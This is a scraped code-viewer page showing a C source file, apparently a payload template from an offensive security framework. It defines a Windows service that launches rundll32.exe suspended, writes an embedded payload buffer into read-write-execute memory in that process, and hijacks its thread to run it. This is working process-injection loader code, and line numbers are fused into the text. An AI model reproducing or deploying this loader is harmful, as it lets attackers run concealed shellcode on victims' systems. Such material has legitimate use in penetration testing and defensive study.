Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/data/templates/src/pe/exe/service/service.c
Views: 11791
#define WIN32_LEAN_AND_MEAN1#include <windows.h>23#define PAYLOAD_SIZE 819245char cServiceName[32] = "SERVICENAME";67char bPayload[PAYLOAD_SIZE] = "PAYLOAD:";89SERVICE_STATUS ss;1011SERVICE_STATUS_HANDLE hStatus = NULL;1213/*14*15*/16BOOL ServiceHandler( DWORD dwControl )17{18if( dwControl == SERVICE_CONTROL_STOP || dwControl == SERVICE_CONTROL_SHUTDOWN )19{20ss.dwWin32ExitCode = 0;21ss.dwCurrentState = SERVICE_STOPPED;22}23return SetServiceStatus( hStatus, &ss );24}2526/*27*28*/29VOID ServiceMain( DWORD dwNumServicesArgs, LPSTR * lpServiceArgVectors )30{31CONTEXT Context;32STARTUPINFO si;33PROCESS_INFORMATION pi;34LPVOID lpPayload = NULL;3536ZeroMemory( &ss, sizeof(SERVICE_STATUS) );37ZeroMemory( &si, sizeof(STARTUPINFO) );38ZeroMemory( &pi, sizeof(PROCESS_INFORMATION) );3940si.cb = sizeof(STARTUPINFO);4142ss.dwServiceType = SERVICE_WIN32_SHARE_PROCESS;4344ss.dwCurrentState = SERVICE_START_PENDING;4546ss.dwControlsAccepted = SERVICE_ACCEPT_STOP|SERVICE_ACCEPT_SHUTDOWN;4748hStatus = RegisterServiceCtrlHandler( (LPCSTR)&cServiceName, (LPHANDLER_FUNCTION)ServiceHandler );4950if ( hStatus )51{52ss.dwCurrentState = SERVICE_RUNNING;5354SetServiceStatus( hStatus, &ss );5556if( CreateProcess( NULL, "rundll32.exe", NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi ) )57{58Context.ContextFlags = CONTEXT_FULL;5960GetThreadContext( pi.hThread, &Context );6162lpPayload = VirtualAllocEx( pi.hProcess, NULL, PAYLOAD_SIZE, MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE );63if( lpPayload )64{65WriteProcessMemory( pi.hProcess, lpPayload, &bPayload, PAYLOAD_SIZE, NULL );66#ifdef _WIN6467Context.Rip = (DWORD64)lpPayload;68#else69Context.Eip = (DWORD)lpPayload;70#endif71SetThreadContext( pi.hThread, &Context );72}7374ResumeThread( pi.hThread );7576CloseHandle( pi.hThread );7778CloseHandle( pi.hProcess );79}8081ServiceHandler( SERVICE_CONTROL_STOP );8283ExitProcess( 0 );84}85}8687/*88*89*/90int __stdcall WinMain( HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow )91{92SERVICE_TABLE_ENTRY st[] =93{94{ (LPSTR)&cServiceName, (LPSERVICE_MAIN_FUNCTIONA)&ServiceMain },95{ NULL, NULL }96};97return StartServiceCtrlDispatcher( (SERVICE_TABLE_ENTRY *)&st );98}99100101